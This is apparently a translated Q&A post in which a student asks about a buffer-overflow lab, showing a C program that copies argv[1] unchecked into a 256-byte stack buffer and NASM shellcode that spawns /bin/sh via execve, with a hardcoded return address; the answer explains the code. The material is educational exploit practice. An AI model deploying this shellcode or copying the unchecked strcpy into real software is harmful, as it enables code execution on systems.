缓冲区溢出的例子

时间:2015-01-11 16:04:15

标签: c linux assembly buffer-overflow

我有一个C代码和汇编代码,我必须使用它来使用GDB对C程序执行缓冲区溢出攻击。我可能会使用命令run $(cat),但是..

我无法编译汇编程序代码 - times NNNN db 0xff给出了关于分配非常量值的错误,但我实际上并不知道它的作用或应该做什么。

似乎最后4行像esi指向的堆栈一样工作,对吗?

mov byte al, 0x0b使用参数/ bin / sh0,AAAA和BBBB调用execv。为什么我们需要最后两个?

最后int 0x80我再也不知道它做了什么。

此外,jmp short callit - > callit doit从一开始就用doit开始之间的区别是什么?

如果有人可以帮助我,我会感激不尽,我在Google上搜索了几个小时后就迷失了。

NASM x86代码:

BITS 32
jmp short   callit

doit:
pop         esi
xor         eax, eax
mov         byte [esi+7], al
lea         bx, [esi]
mov         dword [esi+8], ebx
mov         dword [esi+12], eax
mov         byte al, 0x0b
mov         ebx, esi
lea         exc, [esi+8]
lea         edx, [esi+12]
int         0x80

callit
call        doit

            db '/bin/sh#AAAABBBB'
times NNNN  db 0xff
            dd 0xbffff050
            db 0x00

C代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) { 
    char buffer[256];

    if (argc > 1) {
        strcpy(buffer, argv[1]);
    }
    printf("%p\n", buffer);
    return 0;
}

1 个答案:

答案 0 :(得分:2)

您无法汇编times NNNN db 0xff,因为NNNN未在任何地方定义。你可能应该用那里的数字代替。

您需要AAAABBBB,以便为系统调用设置argv数组。 argv[0]应指向计划名称,argv[1]应为NULL

使用CALL是因为它将返回地址放在堆栈上,因此您可以使用它来计算数据的绝对地址。